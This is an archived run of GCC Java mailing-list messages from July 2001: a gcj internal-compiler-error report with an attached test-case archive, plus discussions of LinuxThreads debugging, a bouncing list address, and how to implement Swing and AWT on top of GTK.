Content-Transfer-Encoding: 7bit Message-ID: <15183.17253.933163.735514@fencer.cygnus.com> Date: Fri, 13 Jul 2001 11:52:21 -0700 (PDT) To: gcc-bugs@gcc.gnu.org Cc: java@gcc.gnu.org Subject: Ice in redirect_edge_and_branch on libjava.lang/TLthread.java X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: I feel like I am sharing a ``CORN-DOG'' with NIKITA KHRUSCHEV.. --tlJuNKtkfH Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit FYI. I've been seing this for the last few hours: apbianco@venonat[~/tmp/f]: gcj -c ThreadTest.class TLtest.java: In class `ThreadTest': TLtest.java: In method `ThreadTest.run()': TLtest.java:58: Internal compiler error in redirect_edge_and_branch, at flow.c:1841 My gcc tree is up to date. I tried to go a few patches back with flow.c, but last days changes aren't that localized. ./A --tlJuNKtkfH Content-Type: application/octet-stream Content-Disposition: attachment; filename="tc.tar.gz" Content-Transfer-Encoding: base64 H4sIAMpCTzsAA+2YXU/bVhjH/27eHRNISAIlUFKgbQgt5A2nY4FRXjqxpes0EBKaJs0kLrgN TpQ423q1m+22n2HaDbel2wIqU7Xrfahtz7FNCFkI3QV0m/yXYvuc85w3n/P8nhOvSJo0kZwu lKRaDZekRDKREMUMEqRs251pdjaLRDadSouZZEoUyT6dmk0gmrisAbWqXtOkajQKqbKtSGqh fJ7dReX/Uf3+x+s3sOEeBjk4V/TN4ALHIfRU+kqaKUnqzszGblWWivlyQSq5YCMzbVepTSTo Ic8qvM/Bs/5c1XZlTSlQZk5RFW2BMmNG8eQmB/tyuSgLcMDpwTV4Odhik5sC3OjhYYePg8Aq KVJpUyrVZQ7B2GT+dACPt5/KBY364RJuBDj05hVV/qS+ty1XN6TtEtnz6+V6tSA/VFjCu5HX 5Jo2zRqgltdUVa4us/0t15Ci7u00bY7uNBq6u/TXcI1+bngozdNTmNIsh49P/QIhfojeA92K Qx/8pk2E7hzdbYH+l3pRkK5OPauHKof0RsMYYM3o3TEFrnZx30JsiS7X+y/0/2RyNt3u/8lk xvL/q1DT/2+Tl7LNoHt/X7vz6Y7vKH9NrsRhIN8RDuSgtpqsETtiLQbrWlVRdzpQgD8fMkJb GyYAGDJc8PHkYL2dKGDbYb2fZYfZ/TlIEcgjg6y90Jk5G5VcGGjBmUGs6xhixIpwcOcKJbOo yc0brdRjxlEeo7j5D/gUbfKJ1/kESt2kSbspx0OpqEkm9yt4pxroO9Bt/ThBj5+sA+g3rcdM RvFk3UD4Nwy+bLNn0KI5mfZ+095ByBs2kOfGSLN4gjYKk3CM0S3uEGM/wds+AIGGNw7Gvgnc gsG+Ub3Wv499lgDD7zbYfry0KHAR/8VMpo3/mXQya/H/KtTk/0NCzulmaI8CRokeBbhiy8mv iceIyb0u5D8vMDCo84yq3mZs6OmI92pdNTjMwXfaziNJ23WxY6GzKqnF8p5usiIQ2kI8kTDs XMwYU20GuKGuoULAMEZ4Ot8Rzf2npWuqJu/IVReixP6KVK3JlHPOlNYEQu84TyyeIGOtbOQz 47WOHd7GHWYcMwKogDh7HxFMORe/XTSH7qiVZLlCU4h9xN7YDBLsjSXPhq3nNU3ecyFN7ZTr bHBGZ0p55lPqSaP+ZGmP+puF6EEGWTY4Wuzo44+n3XiPQ38HcxdomV0VllFSBcyzoeVAKy7o VZ9IFNOKVH2Rw42zb6tarVc0ubj6TUGuaEpZdWGpSyRsCX2cGfpYoDsNfeOUZvHHG797SIdy Opn7jODTCyP4OChUnZzQWYU31Bxr5oktZ5u3LYz0BX/EyhEGghh89kK0x3+Gr4HRI9zKRUL2 L3PDdJlnmZEjTDZwV7e89+zF90dI7cMx5/jOxu3/+etw5Af4XuF+YK6BD/bhZY8P6PGAehWx hFUsm2Na0K9jekC0UzB00k/AHfpTEKfFphMX/aYwTbWSVCuFD6n8EbL4DPfxBeaolRX9Jaxe pv+bK/BO//+LCbH9/J8RrfP/lajJf6Kd09gMXdhv35MUYnA49nlXzpucdf/t+MzDy5NvCm2x xkc+/8CNvu5hhFUP8ORU/QyHtGpEyhBr0I4wNbDkZt8w2sMGKxXeBjvM0zwt3wSWKZcBaPwY nq1D9OSP0bs1FfAfItjAgJG4biQMDA3R1acTyk7MctDQGHxoxmaDrYfryMn3hGG935F3sPCW LFmyZMmSJUuWLFmyZMmSJUuWLFn63+svvEzKIgAoAAA= --tlJuNKtkfH-- From java-return-6482-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 19:43:40 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8212 invoked by alias); 13 Jul 2001 19:43:40 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8178 invoked from network); 13 Jul 2001 19:43:39 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 13 Jul 2001 19:43:39 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15L8qe-00076i-00 for ; Fri, 13 Jul 2001 20:43:36 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Fri, 13 Jul 2001 20:45:37 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Fri, 13 Jul 2001 20:34:43 +0100 From: "Nic Ferrier" To: per@bothner.com, rolfwr@ii.uib.no Cc: java-discuss@sources.redhat.com, cedric@wireless-networks.com Subject: Re: what is the state of awt in lingcj? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> "Rolf W. Rasmussen" 13-Jul-01 2:07:32 PM >>> The problem arose when I tried to implement more complex components such as text fields. First then I realized what a terrible state Swing APIs was in. Swing is horribly underspecified. The documentation of a large portion of classes is practically non-existant, and while the design of Swing on the surface may look sound, the further you dig into the details, the more messy it gets. The chances of creating a proper clean room Swing implementation without seems pretty bleak. I agree, Swing is also a moving target... stuff seems to change on a fairly regualr basis. I think there's an opening for the GNU project to provide an API that really works. Something based on GNOME/GDK would be good. Nic From java-return-6483-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 20:08:26 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21897 invoked by alias); 13 Jul 2001 20:08:26 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21729 invoked from network); 13 Jul 2001 20:08:20 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 13 Jul 2001 20:08:20 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id NAA22105; Fri, 13 Jul 2001 13:08:00 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f6DK8Jt10811; Fri, 13 Jul 2001 13:08:19 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 13 Jul 2001 13:08:18 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id <33TM5262>; Fri, 13 Jul 2001 13:08:18 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5F21@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'Cedric Berger'" , "Boehm, Hans" Cc: "'tromey@redhat.com'" , jpolsonaz@mac.com, Jeff Sturm , Per Bothner , java-discuss@sources.redhat.com Subject: RE: debugging threads vs processes Date: Fri, 13 Jul 2001 13:08:17 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" > -----Original Message----- > From: Cedric Berger [mailto:cedric@wireless-networks.com] > There is clearly good things with LinuxThreads (i.e. simplicity, ...) > But as long as, at least... > - top > - ps > - kill > - gdb > > ... are not fixed, and to not really understand the > difference between a thread > and a process, using multithreaded application in Linux will > remain a huge pain. > I think some of this depends on what you're used to. I've adapted to the top and ps behavior, and I often find it useful that I can see the threads separately. If it automagically told me whether something was the main thread, the manager, or another thread, that would be better still. If it showed me only processes, I'd be less happy. I'm not sure what the various standards have to say about this behavior, and that may indeed be a problem. Gdb is different, in that it does try to understand threads, and its attempts have mostly been getting more successful over time. As I understand it, there is a fair amount of infratstructure in linuxthreads to support gdb. Gdb seems to do fine at switching between and examining multiple thread stacks, for example. It's just that it still has some bugs, including apparently waking up some blocked threads when it shouldn't. Hans From java-return-6484-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 20:16:03 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25434 invoked by alias); 13 Jul 2001 20:16:01 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 25404 invoked from network); 13 Jul 2001 20:15:58 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 13 Jul 2001 20:15:58 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 778543; Fri, 13 Jul 2001 13:19:24 -0700 Message-ID: <3B4F5736.EA8F7DD3@wireless-networks.com> Date: Fri, 13 Jul 2001 13:16:54 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Boehm, Hans" CC: "'tromey@redhat.com'" , jpolsonaz@mac.com, Jeff Sturm , Per Bothner , java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes References: <140D21516EC2D3119EE7009027876644049B5F21@hplex1.hpl.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Boehm, Hans" wrote: > > -----Original Message----- > > From: Cedric Berger [mailto:cedric@wireless-networks.com] > > There is clearly good things with LinuxThreads (i.e. simplicity, ...) > > But as long as, at least... > > - top > > - ps > > - kill > > - gdb > > > > ... are not fixed, and to not really understand the > > difference between a thread > > and a process, using multithreaded application in Linux will > > remain a huge pain. > > > I think some of this depends on what you're used to. I've adapted to the > top and ps behavior, and I often find it useful that I can see the threads > separately. If it automagically told me whether something was the main > thread, the manager, or another thread, that would be better still. If it > showed me only processes, I'd be less happy. I agree there is certainly some situations where the current behavior is useful. *BUT* there *MUST* be a switch on theses command which only show/use *PROCESSES*. I've currently 8 Java server application running on my server, each creating between 10 to 30 thread. Do you think Linux "top" output is very useful on my server? And I need to write a shell script just to kill one process :( Cedric From java-return-6485-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 20:29:44 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 494 invoked by alias); 13 Jul 2001 20:29:44 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 473 invoked from network); 13 Jul 2001 20:29:43 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 13 Jul 2001 20:29:43 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 778574; Fri, 13 Jul 2001 13:32:55 -0700 Message-ID: <3B4F5A61.49293705@wireless-networks.com> Date: Fri, 13 Jul 2001 13:30:25 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: java-discuss@sources.redhat.com Subject: Noel_JC_Sales/Netherlands/IBM%IBMGB%IBMNL@uk.ibm.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I'm I the only one to receive this junk each time I send a message on this list? Your message Subject: Re: debugging threads vs processes was not delivered to: Noel_JC_Sales/Netherlands/IBM%IBMGB%IBMNL@uk.ibm.com because: Error delivering to Noel JC Sales/Netherlands/IBM; File does not exist Reporting-MTA: dns;d15ml010.nl.ibm.com Final-Recipient: rfc822;Noel_JC_Sales/Netherlands/IBM%IBMGB%IBMNL@nl.ibm.com Action: failed Status: 5.0.0 Diagnostic-Code: X-Notes; Error delivering to Noel JC Sales/Netherlands/IBM; File does not exist From java-return-6486-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 20:44:28 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7740 invoked by alias); 13 Jul 2001 20:44:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 7649 invoked from network); 13 Jul 2001 20:44:19 -0000 Received: from unknown (HELO smtpout.mac.com) (204.179.120.88) by sourceware.cygnus.com with SMTP; 13 Jul 2001 20:44:19 -0000 Received: by smtpout.mac.com; Fri, 13 Jul 2001 13:42:55 -0700 (PDT) Message-Id: <200107132042.NAA25142@smtpout.mac.com> Received: from asmtp01.mac.com ([10.13.10.65]) by smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun 21 2001 23:53:48) with ESMTP id GGFIVJ00.11M for ; Fri, 13 Jul 2001 13:42:55 -0700 Received: from g4cube ([12.34.72.7]) by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 6 2001 13:16:42) with ESMTP id GGFIVI00.DS8; Fri, 13 Jul 2001 13:42:54 -0700 Date: Fri, 13 Jul 2001 13:42:24 -0700 From: Jonathan Olson Content-Type: text/plain; format=flowed; charset=us-ascii Subject: Re: debugging threads vs processes Cc: "Boehm, Hans" , "'tromey@redhat.com'" , Jeff Sturm , Per Bothner , java-discuss@sources.redhat.com To: Cedric Berger X-Mailer: Apple Mail (2.388) In-Reply-To: <3B4F5736.EA8F7DD3@wireless-networks.com> Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit The current lack of distinction between threads and processes on LinuxThreads is really annoying. For example when debugging a multi-threaded process one must type `continue' for every thread to restart the application. On a typical Java or multithreaded application this requires maybe a dozen `continues'. Then, you never know if you've actually hit another breakpoint or just continuing another thread stopped by the first ^C or breakpoint. Personally, I can't see much point in having a separate `ps' or `top' entry for each thread entry, since all entries show exactly the same information except for the process ID. And killing a process is a nightmare. If you're lucky enough to have only one process running the application, then `killall application' works. However it gets really messy to figure out which of the hundreds of threads in `ps' correspond to the process you really want to kill. On Friday, July 13, 2001, at 01:16 PM, Cedric Berger wrote: > I agree there is certainly some situations where the current behavior is > useful. *BUT* there *MUST* be a switch on theses command which > only show/use *PROCESSES*. > > I've currently 8 Java server application running on my server, each > creating > between 10 to 30 thread. Do you think Linux "top" output is very useful > on > my server? And I need to write a shell script just to kill one > process :( > > Cedric > > From java-return-6487-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 20:50:49 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13746 invoked by alias); 13 Jul 2001 20:50:48 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13664 invoked from network); 13 Jul 2001 20:50:46 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 13 Jul 2001 20:50:46 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id SAA03965; Fri, 13 Jul 2001 18:29:13 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Fri, 13 Jul 2001 18:29:13 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Cedric Berger cc: java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes In-Reply-To: <3B4F5736.EA8F7DD3@wireless-networks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 13 Jul 2001, Cedric Berger wrote: > I've currently 8 Java server application running on my server, each creating > between 10 to 30 thread. Do you think Linux "top" output is very useful on > my server? It'd certainly be nice to toggle thread vs. process display. On Solaris, top doesn't tell me how many threads are running in a process. I'd like it both ways... > And I need to write a shell script just to kill one process :( I've had good luck when I signal the main thread. Usually linuxthreads cleans itself up, unless something is really stuck. Of course identifying the main thread from "ps -ef" can be tricky, so I like to record the pid in a startup script. Jeff From java-return-6488-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 20:51:37 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14332 invoked by alias); 13 Jul 2001 20:51:36 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14288 invoked from network); 13 Jul 2001 20:51:35 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 13 Jul 2001 20:51:35 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id NAA14082; Fri, 13 Jul 2001 13:51:34 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id NAA12475; Fri, 13 Jul 2001 13:51:34 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15183.24406.619217.557354@fencer.cygnus.com> Date: Fri, 13 Jul 2001 13:51:34 -0700 (PDT) To: Cedric Berger Cc: java-discuss@sources.redhat.com Subject: Re: Noel_JC_Sales/Netherlands/IBM%IBMGB%IBMNL@uk.ibm.com In-Reply-To: <3B4F5A61.49293705@wireless-networks.com> References: <3B4F5A61.49293705@wireless-networks.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Is it NOUVELLE CUISINE when 3 olives are struggling with a scallop in a plate of SAUCE MORNAY? Cedric Berger writes: > I'm I the only one to receive this junk each time I send a message > on this list? No. I sent something to overseers about that: Ian Taylor told me that the address should be manually removed from the mailing list. I can't remember who's administering the java lists. It used to be me (in the sourceware.cygnus.com times) but think membership has been transfered to someone else ever since. I can't remember who owns it now. ./A From java-return-6489-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 20:56:10 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17118 invoked by alias); 13 Jul 2001 20:56:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17084 invoked from network); 13 Jul 2001 20:56:07 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 13 Jul 2001 20:56:07 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6DKxAb16369; Fri, 13 Jul 2001 13:59:10 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: Cedric Berger Cc: java-discuss@sources.redhat.com Subject: Re: Noel_JC_Sales/Netherlands/IBM%IBMGB%IBMNL@uk.ibm.com References: <3B4F5A61.49293705@wireless-networks.com> From: Per Bothner Date: 13 Jul 2001 13:59:09 -0700 In-Reply-To: <3B4F5A61.49293705@wireless-networks.com> Message-ID: Lines: 9 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cedric Berger writes: > I'm I the only one to receive this junk each time I send a message > on this list? No - I'm getting it, and Alex P-B mentioned it too. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6490-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 21:20:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 819 invoked by alias); 13 Jul 2001 21:20:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 784 invoked from network); 13 Jul 2001 21:20:13 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 13 Jul 2001 21:20:13 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id QAA21836; Fri, 13 Jul 2001 16:16:28 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15183.26132.554625.662686@spanky.love.edu> Date: Fri, 13 Jul 2001 16:20:20 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: nferrier@tapsellferrier.co.uk Cc: java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Quoth Nic Ferrier on Friday, 13 July: : : I think there's an opening for the GNU project to provide an API that : really works. Something based on GNOME/GDK would be good. Something based on wxWindows would be portable across *nix, windows, mac. From java-return-6491-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 21:31:05 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7105 invoked by alias); 13 Jul 2001 21:31:05 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 7083 invoked from network); 13 Jul 2001 21:31:05 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 13 Jul 2001 21:31:05 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id OAA18721; Fri, 13 Jul 2001 14:30:43 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id OAA14978; Fri, 13 Jul 2001 14:30:43 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15183.26755.437031.529328@fencer.cygnus.com> Date: Fri, 13 Jul 2001 14:30:43 -0700 (PDT) To: alk@pobox.com Cc: nferrier@tapsellferrier.co.uk, java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? In-Reply-To: <15183.26132.554625.662686@spanky.love.edu> References: <15183.26132.554625.662686@spanky.love.edu> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: We place two copies of PEOPLE magazine in a DARK, HUMID mobile home. 45 minutes later CYNDI LAUPER emerges wearing a BIRD CAGE on her head! Tony Kimball writes: > Quoth Nic Ferrier on Friday, 13 July: > : > : I think there's an opening for the GNU project to provide an API that > : really works. Something based on GNOME/GDK would be good. > > Something based on wxWindows would be portable across *nix, windows, mac. Isn't that what GDK is for? ./A From java-return-6492-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 21:39:51 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11616 invoked by alias); 13 Jul 2001 21:39:51 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11460 invoked from network); 13 Jul 2001 21:39:36 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 13 Jul 2001 21:39:36 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id OAA27352; Fri, 13 Jul 2001 14:39:16 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f6DLdZt14762; Fri, 13 Jul 2001 14:39:35 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 13 Jul 2001 14:39:34 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id <33TM5J8A>; Fri, 13 Jul 2001 14:39:34 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5F24@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'Jonathan Olson'" , Cedric Berger Cc: "Boehm, Hans" , "'tromey@redhat.com'" , Jeff Sturm , Per Bothner , java-discuss@sources.redhat.com Subject: RE: debugging threads vs processes Date: Fri, 13 Jul 2001 14:39:26 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" > -----Original Message----- > From: Jonathan Olson [mailto:jpolsonaz@mac.com] > Personally, I can't see much point in having a separate `ps' or `top' > entry for > each thread entry, since all entries show exactly the same > information > except > for the process ID. I often find it very useful to know how many threads there are, and how many of them are actually getting processor time and how much. Also zombies among the threads tend to be bad news, though those should probably be impossible in the absence of linuxthreads bugs or memory corruption. I agree that a flag to display only processes would be nice. Hans From java-return-6493-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 21:42:28 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13724 invoked by alias); 13 Jul 2001 21:42:27 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13684 invoked from network); 13 Jul 2001 21:42:26 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 13 Jul 2001 21:42:26 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6DLjMX03008; Fri, 13 Jul 2001 14:45:22 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: "Rolf W. Rasmussen" Cc: java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> <20010713150731.A17995@apal.ii.uib.no> From: Per Bothner Date: 13 Jul 2001 14:45:22 -0700 In-Reply-To: <20010713150731.A17995@apal.ii.uib.no> Message-ID: Lines: 36 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii "Rolf W. Rasmussen" writes: > The problem arose when I tried to implement more complex components such > as text fields. First then I realized what a terrible state Swing APIs was > in. Swing is horribly underspecified. The documentation of a large > portion of classes is practically non-existant, and while the design of > Swing on the surface may look sound, the further you dig into the details, > the more messy it gets. The chances of creating a proper clean room Swing > implementation without seems pretty bleak. I would like to have usable and mostly-compatible implementations of the Swing components (e.g. JTree) and "models" (e.g. TreeModel). I care much less about the UI delegate classes, the PLAF (Pluggable Look and Feel) implementation, the text View classes, or in general "implementation" classes. I suspect relatively liitle code uses those directly, and that's a "experts-only" thing. So I think it is both desirable and reasonable to cheat. A subset implementation of Swing where the "UI delagate" is just a Gtk object might be a good starting point. It lets at least simple Swing programs run, gets us Gnome L&F and themability, and probably has a lot less overhead. I would also implement AWT using the same way. Separating out the "model" from the component is more difficult, though Gnome 2's new text objects should help. This doesn't really answer the question of how we should use Gtk. Using Java bindings to Gnome (either Java-Gnome or Gnome-Gtk) may add an extra layer of overhead: I.e. a Button points to a ButtonPeer which points to a gnu.gtk.Button which points to a GtkButton. I really don't want that! So this argues against both Java-Gnome and Gnome-Gtk, and suggests we should use hand-written Gtk code for the peer classes - as the current code seems to do. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ 